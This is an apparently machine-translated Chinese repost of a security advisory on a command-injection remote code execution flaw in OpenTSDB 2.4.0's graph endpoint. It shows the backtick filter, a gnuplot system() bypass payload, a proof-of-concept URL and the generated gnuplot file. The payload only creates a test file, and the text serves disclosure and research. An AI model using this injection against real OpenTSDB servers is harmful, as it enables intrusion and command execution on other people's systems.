在Pentest期间,我们在yrange参数中使用命令注入在OpenTSDB 2.4.0及更低版本中发现了一个远程执行代码漏洞(其他参数可能也容易受到攻击)
当通过它被写入到其中的一个参数传递有效载荷的gnuplot在文件/ TMP目录和gnuplot的文件由执行OpenTSDB经由/src/mygnuplot.sh壳脚本。
试图通过阻止反引号来阻止命令注入,但是我们能够绕开它:
/src/tsd/GraphHandler.java:
private static String popParam(final Map<String, List<String>> querystring,
final String param) {
final List<String> params = querystring.remove(param);
if (params == null) {
return null;
}
final String given = params.get(params.size() - 1);
// TODO - far from perfect, should help a little.
if *(given.contains("`") || given.contains("%60") ||
given.contains("`")) *{
throw new BadRequestException("Parameter " + param + " contained a "
+ "back-tick. That's a no-no.");
}
return given;
}
绕过有效负载:
[33:system('touch/tmp/poc.txt')]
PoC:
http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
OpenTSDB在temp目录中创建的gnuplot文件如下所示:
set term png small size 1516,644
set xdata time
set timefmt "%s"
if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right
set output "/tmp/d705ba5b.png"
set xrange ["972086400":"1603641404"]
set format x "%Y/%m/%d"
set grid
set style data linespoint
set key right box
set ylabel ""
*set yrange [33:system('touch /tmp/poc.txt')]*
plot "/tmp/d705ba5b_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}"
当OpenTSDB执行mygnuplot.sh的poc.txt文件将被写入到临时目录。
此漏洞已由Aviad Golan和Shai rod发现
本文始发于微信公众号(Khan安全攻防实验室):OpenTSDB 2.4.0远程代码执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论